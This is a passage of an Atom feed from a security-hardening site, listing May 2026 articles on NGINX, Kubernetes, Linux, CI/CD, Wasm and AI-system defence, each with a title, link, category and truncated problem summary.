    <id>https://www.systemshardening.com/articles/ai-landscape/nginx-ai-inference-proxy-hardening/</id>
    <published>2026-05-15T00:00:00.000Z</published>
    <updated>2026-05-15T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Hardening NGINX as a Reverse Proxy for AI Inference Endpoints
Problem
NGINX is a common first choice for reverse-proxying AI inference endpoints — vLLM, Ollama, llama.cpp, TGI (Text Generation...</summary>
  </entry>
  
  <entry>
    <title>NGINX Configuration Security Scanning in CI</title>
    <link href="https://www.systemshardening.com/articles/cicd/nginx-config-security-ci-pipeline/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/nginx-config-security-ci-pipeline/</id>
    <published>2026-05-15T00:00:00.000Z</published>
    <updated>2026-05-15T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>NGINX Configuration Security Scanning in CI
Problem
NGINX configuration changes are a routine operational task — new virtual hosts, updated proxy rules, module additions, upstream changes. These...</summary>
  </entry>
  
  <entry>
    <title>NGINX CVE Patch Management Across Mixed Bare Metal, VM, and Kubernetes Fleets</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/nginx-fleet-patch-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/nginx-fleet-patch-management/</id>
    <published>2026-05-15T00:00:00.000Z</published>
    <updated>2026-05-15T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>NGINX CVE Patch Management Across Mixed Bare Metal, VM, and Kubernetes Fleets
Problem
Most organisations running NGINX at scale have it deployed in at least two different ways: as a systemd service on...</summary>
  </entry>
  
  <entry>
    <title>Automated ingress-nginx Version Management and CVE Response</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/nginx-ingress-controller-version-pinning/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/nginx-ingress-controller-version-pinning/</id>
    <published>2026-05-15T00:00:00.000Z</published>
    <updated>2026-05-15T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Automated ingress-nginx Version Management and CVE Response
Problem
The ingress-nginx controller has one of the highest CVE rates among core Kubernetes ecosystem components. CVE-2021-25742 allowed...</summary>
  </entry>
  
  <entry>
    <title>Limiting NGINX Worker Process Blast Radius with OS-Level Controls</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-nginx-worker-privilege-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-nginx-worker-privilege-hardening/</id>
    <published>2026-05-15T00:00:00.000Z</published>
    <updated>2026-05-15T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Limiting NGINX Worker Process Blast Radius with OS-Level Controls
Problem
NGINX’s process model is deliberately simple: a master process runs as root to bind privileged ports (80, 443) and manage...</summary>
  </entry>
  
  <entry>
    <title>CVE-2025-23419: mTLS Session Resumption Bypass in NGINX</title>
    <link href="https://www.systemshardening.com/articles/network/nginx-mtls-session-resumption-cve/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/nginx-mtls-session-resumption-cve/</id>
    <published>2026-05-15T00:00:00.000Z</published>
    <updated>2026-05-15T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>CVE-2025-23419: mTLS Session Resumption Bypass in NGINX
Problem
CVE-2025-23419 is a mutual TLS authentication bypass in NGINX. When multiple virtual hosts share a TLS session ticket key — which is the...</summary>
  </entry>
  
  <entry>
    <title>Detecting NGINX CVE Exploitation via Logs and Runtime Signatures</title>
    <link href="https://www.systemshardening.com/articles/observability/nginx-cve-exploitation-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/nginx-cve-exploitation-detection/</id>
    <published>2026-05-15T00:00:00.000Z</published>
    <updated>2026-05-15T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting NGINX CVE Exploitation via Logs and Runtime Signatures
Problem
NGINX CVEs span different attack surfaces: memory corruption in media-processing modules (CVE-2024-7347, ngx_http_mp4_module),...</summary>
  </entry>
  
  <entry>
    <title>NGINX NJS Security Hardening vs. Wasm Filter Isolation</title>
    <link href="https://www.systemshardening.com/articles/wasm/nginx-njs-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/nginx-njs-security-hardening/</id>
    <published>2026-05-15T00:00:00.000Z</published>
    <updated>2026-05-15T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>NGINX NJS Security Hardening vs. Wasm Filter Isolation
Problem
NGINX NJS (NGINX JavaScript) is the official JavaScript runtime embedded in NGINX, available since NGINX 1.9.15. It allows JavaScript...</summary>
  </entry>
  
  <entry>
    <title>Securing MCP Elicitation Against Social Engineering and Prompt Injection</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/mcp-elicitation-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/mcp-elicitation-security/</id>
    <published>2026-05-14T00:00:00.000Z</published>
    <updated>2026-05-14T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Securing MCP Elicitation Against Social Engineering and Prompt Injection
Problem
The Model Context Protocol (MCP) introduced an elicitation capability in 2025 that allows MCP servers to request...</summary>
  </entry>
  
  <entry>
    <title>Securing GitHub Copilot Workspace Autonomous PR Generation</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-copilot-workspace-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-copilot-workspace-security/</id>
    <published>2026-05-14T00:00:00.000Z</published>
    <updated>2026-05-14T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Securing GitHub Copilot Workspace Autonomous PR Generation
Problem
GitHub Copilot Workspace is an agentic coding environment that goes beyond code completion: given a GitHub issue, it can autonomously...</summary>
  </entry>
  
  <entry>
    <title>Meeting Cyber Insurance Technical Requirements: A Control Implementation Guide</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/cyber-insurance-technical-requirements/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/cyber-insurance-technical-requirements/</id>
    <published>2026-05-14T00:00:00.000Z</published>
    <updated>2026-05-14T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Meeting Cyber Insurance Technical Requirements: A Control Implementation Guide
Problem
Cyber insurance has transformed from a financial instrument into a technical audit process. Before 2020, most...</summary>
  </entry>
  
  <entry>
    <title>Securing Kubernetes Sidecar Injection Against Rogue Container Injection</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-sidecar-injection-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-sidecar-injection-security/</id>
    <published>2026-05-14T00:00:00.000Z</published>
    <updated>2026-05-14T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Securing Kubernetes Sidecar Injection Against Rogue Container Injection
Problem
Sidecar injection via Kubernetes mutating admission webhooks is the standard pattern for transparently adding...</summary>
  </entry>
  
  <entry>
    <title>Hardening Linux AF_VSOCK Against VM-to-Host Escape</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-vsock-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-vsock-security/</id>
    <published>2026-05-14T00:00:00.000Z</published>
    <updated>2026-05-14T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening Linux AF_VSOCK Against VM-to-Host Escape
Problem
AF_VSOCK (Virtual Socket) is a socket address family designed for efficient communication between virtual machines and their hypervisors....</summary>
  </entry>
  
  <entry>
    <title>Hardening RADIUS Against the Blast RADIUS Attack (CVE-2024-3596)</title>
    <link href="https://www.systemshardening.com/articles/network/radius-blast-radius-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/radius-blast-radius-hardening/</id>
    <published>2026-05-14T00:00:00.000Z</published>
    <updated>2026-05-14T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Hardening RADIUS Against the Blast RADIUS Attack (CVE-2024-3596)
Problem
RADIUS (Remote Authentication Dial-In User Service) has been the authentication backbone of enterprise networks for 30 years....</summary>
  </entry>
  
  <entry>
    <title>Defending Prometheus Against High-Cardinality Label Injection and DoS</title>
    <link href="https://www.systemshardening.com/articles/observability/prometheus-cardinality-dos-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/prometheus-cardinality-dos-defence/</id>
    <published>2026-05-14T00:00:00.000Z</published>
    <updated>2026-05-14T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Defending Prometheus Against High-Cardinality Label Injection and DoS
Problem
Prometheus stores all time series in memory. Each unique combination of metric name and label values constitutes a...</summary>
  </entry>
  
  <entry>
    <title>Security Implications of Wasm Shared-Everything Threads</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-shared-everything-threads-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-shared-everything-threads-security/</id>
    <published>2026-05-14T00:00:00.000Z</published>
    <updated>2026-05-14T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Security Implications of Wasm Shared-Everything Threads
Problem
Wasm’s existing threads proposal (Phase 4, standardised) allows multiple threads to share a single SharedArrayBuffer-backed linear...</summary>
  </entry>
  
  <entry>
    <title>Detecting Abuse of LLM API Keys and Inference Endpoints</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-api-abuse-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-api-abuse-detection/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Detecting Abuse of LLM API Keys and Inference Endpoints
Problem
LLM API credentials are a distinct credential class that most organisations’ secret management and abuse detection programmes were not...</summary>
  </entry>
  
  <entry>
    <title>LLM Output Injection: Securing Downstream Systems from AI-Generated Content</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-output-injection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-output-injection/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM Output Injection: Securing Downstream Systems from AI-Generated Content
Problem
Applications that use LLMs to generate content that is then processed by another system — a database, a shell, a...</summary>
  </entry>
  
  <entry>
    <title>Gating AI-Generated Security Fixes Before Merge</title>
    <link href="https://www.systemshardening.com/articles/cicd/ai-autofix-security-review/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/ai-autofix-security-review/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Gating AI-Generated Security Fixes Before Merge
Problem
AI-powered security fix tools have become mainstream in the last two years. GitHub Copilot Autofix, CodeQL’s AI fix suggestions, Snyk’s DeepCode...</summary>
  </entry>
  
  <entry>
    <title>GitHub Actions Environment Protection Rules and Secret Scoping</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-actions-environment-protection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-actions-environment-protection/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub Actions Environment Protection Rules and Secret Scoping
Problem
GitHub Actions workflows deploy to production using secrets that unlock cloud access, registry credentials, and deployment keys....</summary>
  </entry>
  
  <entry>
    <title>Safe AI-Driven Incident Response Automation</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/ai-incident-response-automation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/ai-incident-response-automation/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Safe AI-Driven Incident Response Automation
Problem
The appeal of AI-driven incident response automation is clear: security incidents happen at 3 AM, analysts are asleep, and a known-bad IP is...</summary>
  </entry>
  
  <entry>
    <title>GitHub Enterprise Organisation-Level Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/github-enterprise-org-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/github-enterprise-org-hardening/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>GitHub Enterprise Organisation-Level Security Hardening
Problem
GitHub repository-level security settings — branch protection rules, required reviewers, secret scanning — are well-documented and...</summary>
  </entry>
  
  <entry>
    <title>Security Validation for AI-Generated Kubernetes Manifests</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-ai-generated-manifest-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-ai-generated-manifest-security/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Security Validation for AI-Generated Kubernetes Manifests
Problem
AI coding assistants are widely used to generate Kubernetes manifests. When a developer asks Copilot, Claude, or Cursor to “write a...</summary>
  </entry>
  
  <entry>
    <title>Hardening the Kubernetes Secrets Store CSI Driver</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-secret-store-csi-driver-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-secret-store-csi-driver-security/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Hardening the Kubernetes Secrets Store CSI Driver
Problem
The Secrets Store CSI Driver (secrets-store.csi.k8s.io) solves a real problem: it lets pods consume secrets from external stores — AWS Secrets...</summary>
  </entry>
  
  <entry>
    <title>Using AI Tools to Audit Linux Kernel Configuration for Hardening Gaps</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-ai-kernel-config-audit/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-ai-kernel-config-audit/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Using AI Tools to Audit Linux Kernel Configuration for Hardening Gaps
Problem
The Linux kernel configuration file contains thousands of options. On a default distribution kernel, most of these are set...</summary>
  </entry>
  
  <entry>
    <title>Hardening Linux Against Netlink Socket Privilege Escalation</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-netlink-socket-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-netlink-socket-hardening/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening Linux Against Netlink Socket Privilege Escalation
Problem
Netlink is the Linux kernel’s primary interface for kernel-to-userspace communication about networking, routing, and system...</summary>
  </entry>
  
  <entry>
    <title>Defending Against AI-Enhanced Adaptive DDoS Attacks</title>
    <link href="https://www.systemshardening.com/articles/network/ai-enhanced-ddos-detection-response/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ai-enhanced-ddos-detection-response/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Defending Against AI-Enhanced Adaptive DDoS Attacks
Problem
Traditional DDoS defences are built around fixed signatures and static thresholds. A scrubbing centre filters traffic matching known attack...</summary>
  </entry>
  
  <entry>
    <title>Hardening Linux TCP/IP Stacks Against Passive OS Fingerprinting</title>
    <link href="https://www.systemshardening.com/articles/network/passive-os-fingerprinting-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/passive-os-fingerprinting-hardening/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Hardening Linux TCP/IP Stacks Against Passive OS Fingerprinting
Problem
Passive OS fingerprinting identifies the operating system and kernel version of a host by analysing the characteristics of its...</summary>
  </entry>
  
  <entry>
    <title>Safe AI-Assisted Security Alert Triage and Escalation</title>
    <link href="https://www.systemshardening.com/articles/observability/ai-alert-triage-escalation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/ai-alert-triage-escalation/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Safe AI-Assisted Security Alert Triage and Escalation
Problem
Security operations teams face a persistent ratio problem: the number of alerts that fire substantially exceeds the number of engineers...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Network Flow Security Monitoring with Cilium Hubble and Retina</title>
    <link href="https://www.systemshardening.com/articles/observability/kubernetes-network-flow-security-monitoring/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/kubernetes-network-flow-security-monitoring/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Kubernetes Network Flow Security Monitoring with Cilium Hubble and Retina
Problem
Kubernetes NetworkPolicy controls which pods can communicate with which other pods and services. But NetworkPolicy...</summary>
  </entry>
  
  <entry>
    <title>Tamper-Evident AI Decision Logs Using Wasm Runtime Attestation</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-ai-model-runtime-attestation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-ai-model-runtime-attestation/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Tamper-Evident AI Decision Logs Using Wasm Runtime Attestation
Problem
As AI systems make decisions with regulatory and legal consequences — credit approvals, healthcare triage, insurance...</summary>
  </entry>
  
  <entry>
    <title>Safe Module Termination with Wasmtime Epoch-Based Interruption</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasmtime-epoch-interruption-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasmtime-epoch-interruption-security/</id>
    <published>2026-05-13T00:00:00.000Z</published>
    <updated>2026-05-13T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Safe Module Termination with Wasmtime Epoch-Based Interruption
Problem
A Wasm module that enters an infinite loop, allocates unbounded memory, or performs a denial-of-service computation cannot be...</summary>
  </entry>
  
  <entry>
    <title>AI-Assisted CVE Patch Prioritisation: EPSS, Reachability, and Business Context</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-patch-prioritization/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-patch-prioritization/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI-Assisted CVE Patch Prioritisation: EPSS, Reachability, and Business Context
Problem
A medium-sized engineering organisation running 50 services will accumulate hundreds of open CVEs at any given...</summary>
  </entry>
  
  <entry>
    <title>Securing Reasoning Model Scratchpad Output in Production AI Applications</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-reasoning-model-scratchpad-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-reasoning-model-scratchpad-security/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Securing Reasoning Model Scratchpad Output in Production AI Applications
Problem
Reasoning models — Claude’s extended thinking, OpenAI o1/o3, DeepSeek R1, and Google Gemini Flash Thinking — generate...</summary>
  </entry>
  
  <entry>
    <title>Security Validation for AI-Generated CI/CD Pipeline Configurations</title>
    <link href="https://www.systemshardening.com/articles/cicd/ai-generated-cicd-config-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/ai-generated-cicd-config-security/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Security Validation for AI-Generated CI/CD Pipeline Configurations
Problem
AI coding assistants — GitHub Copilot, Claude, Cursor, and similar tools — are increasingly asked to write CI/CD pipeline...</summary>
  </entry>
  
  <entry>
    <title>Hardening Gitea and Forgejo Self-Hosted Git Instances</title>
    <link href="https://www.systemshardening.com/articles/cicd/gitea-forgejo-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/gitea-forgejo-hardening/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Hardening Gitea and Forgejo Self-Hosted Git Instances
Problem
Gitea and its community fork Forgejo have grown rapidly as self-hosted alternatives to GitHub and GitLab, particularly in air-gapped...</summary>
  </entry>
  
  <entry>
    <title>AI Security Posture Management: Extending CSPM to ML Infrastructure</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/ai-security-posture-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/ai-security-posture-management/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>AI Security Posture Management: Extending CSPM to ML Infrastructure
Problem
Cloud Security Posture Management (CSPM) tools — AWS Security Hub, GCP Security Command Centre, Prisma Cloud, Wiz — have...</summary>
  </entry>
  
  <entry>
    <title>Zero-Day Response Playbook: From Public Disclosure to Patched Production</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/zero-day-response-playbook/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/zero-day-response-playbook/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Zero-Day Response Playbook: From Public Disclosure to Patched Production
Problem
A high-severity CVE is published for a component in your stack. The NVD entry posts at 3 AM. By 6 AM there is a working...</summary>
  </entry>
  
  <entry>
    <title>Isolating AI Training Batch Jobs in Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-ai-batch-job-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-ai-batch-job-isolation/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Isolating AI Training Batch Jobs in Kubernetes
Problem
AI training workloads on Kubernetes present a distinct security isolation problem. A single training job typically combines several high-value...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Subresource RBAC Escalation: Restricting exec, portforward, and proxy</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-subresource-rbac-escalation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-subresource-rbac-escalation/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Subresource RBAC Escalation: Restricting exec, portforward, and proxy
Problem
Kubernetes RBAC subresources are verbs on sub-paths of standard resources. pods/exec grants the ability to run...</summary>
  </entry>
  
  <entry>
    <title>Hardening Linux Against Abstract Unix Socket Privilege Escalation</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-abstract-unix-socket-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-abstract-unix-socket-security/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening Linux Against Abstract Unix Socket Privilege Escalation
Problem
Unix domain sockets come in two varieties. Filesystem-path sockets create a visible entry in the filesystem —...</summary>
  </entry>
  
  <entry>
    <title>Kernel Hardening for AI-Accelerated Exploit Development</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-ai-accelerated-exploit-development/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-ai-accelerated-exploit-development/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Kernel Hardening for AI-Accelerated Exploit Development
Problem
Kernel exploit development has historically been an expert-only discipline. Converting a disclosed kernel vulnerability into a reliable...</summary>
  </entry>
  
  <entry>
    <title>Network-Layer Defences Against AI-Powered Phishing Campaigns</title>
    <link href="https://www.systemshardening.com/articles/network/ai-powered-phishing-network-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ai-powered-phishing-network-defence/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Network-Layer Defences Against AI-Powered Phishing Campaigns
Problem
Phishing has always been effective, but its reach was historically constrained by the cost of personalisation. Crafting a...</summary>
  </entry>
  
  <entry>
    <title>Hardening SSH Against the Terrapin Prefix Truncation Attack (CVE-2023-48795)</title>
    <link href="https://www.systemshardening.com/articles/network/ssh-terrapin-attack-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ssh-terrapin-attack-hardening/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Hardening SSH Against the Terrapin Prefix Truncation Attack (CVE-2023-48795)
Problem
Terrapin (CVE-2023-48795) is a prefix truncation attack against the SSH Binary Packet Protocol that was disclosed...</summary>
  </entry>
  
  <entry>
    <title>AI-Assisted Threat Hunting: LLMs in the Security Operations Workflow</title>
    <link href="https://www.systemshardening.com/articles/observability/ai-assisted-threat-hunting/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/ai-assisted-threat-hunting/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>AI-Assisted Threat Hunting: LLMs in the Security Operations Workflow
Problem
Security analysts face an asymmetric investigation challenge. Attackers generate evidence continuously — every command...</summary>
  </entry>
  
  <entry>
    <title>Detecting and Preventing Cloud Audit Log Tampering</title>
    <link href="https://www.systemshardening.com/articles/observability/cloud-audit-log-tampering-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/cloud-audit-log-tampering-detection/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting and Preventing Cloud Audit Log Tampering
Problem
Cloud audit log tampering is one of the first actions an attacker takes after obtaining elevated IAM credentials. The logic is consistent...</summary>
  </entry>
  
  <entry>
    <title>Sandboxing LLM Agent Tool Plugins with WebAssembly</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-ai-plugin-sandboxing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-ai-plugin-sandboxing/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Sandboxing LLM Agent Tool Plugins with WebAssembly
Problem
LLM agents derive their utility from tool use: the ability to call external functions — search, database queries, file operations, API calls,...</summary>
  </entry>
  
  <entry>
    <title>Isolating Sensitive Data Using Wasm Multi-Memory</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-multi-memory-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-multi-memory-isolation/</id>
    <published>2026-05-12T00:00:00.000Z</published>
    <updated>2026-05-12T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Isolating Sensitive Data Using Wasm Multi-Memory
Problem
The WebAssembly linear memory model uses a single, flat address space for all application data by default. This design is intentional: it...</summary>
  </entry>
  
  <entry>
    <title>Preventing Data Exfiltration via LLM Context Window Injection</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-context-window-data-exfiltration/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-context-window-data-exfiltration/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Preventing Data Exfiltration via LLM Context Window Injection
Problem
The LLM context window is a staging area. Before generating a response, the model processes a concatenation of: a system prompt,...</summary>
  </entry>
  
  <entry>
    <title>Defending Against Fake HuggingFace Repository Attacks: Model Artifact Verification</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/huggingface-fake-repo-attack-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/huggingface-fake-repo-attack-defence/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Defending Against Fake HuggingFace Repository Attacks: Model Artifact Verification
Problem
On May 10, 2026, a threat actor registered the HuggingFace organisation Open-OSS and published a repository...</summary>
  </entry>
  
  <entry>
    <title>Azure DevOps API Exposure Hardening: Securing Against Unauthenticated Information Disclosure</title>
    <link href="https://www.systemshardening.com/articles/cicd/azure-devops-api-exposure-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/azure-devops-api-exposure-hardening/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Azure DevOps API Exposure Hardening: Securing Against Unauthenticated Information Disclosure
Problem
CVE-2026-42826, published 7 May 2026 with a CVSS base score of 10.0, demonstrated that Azure DevOps...</summary>
  </entry>
  
  <entry>
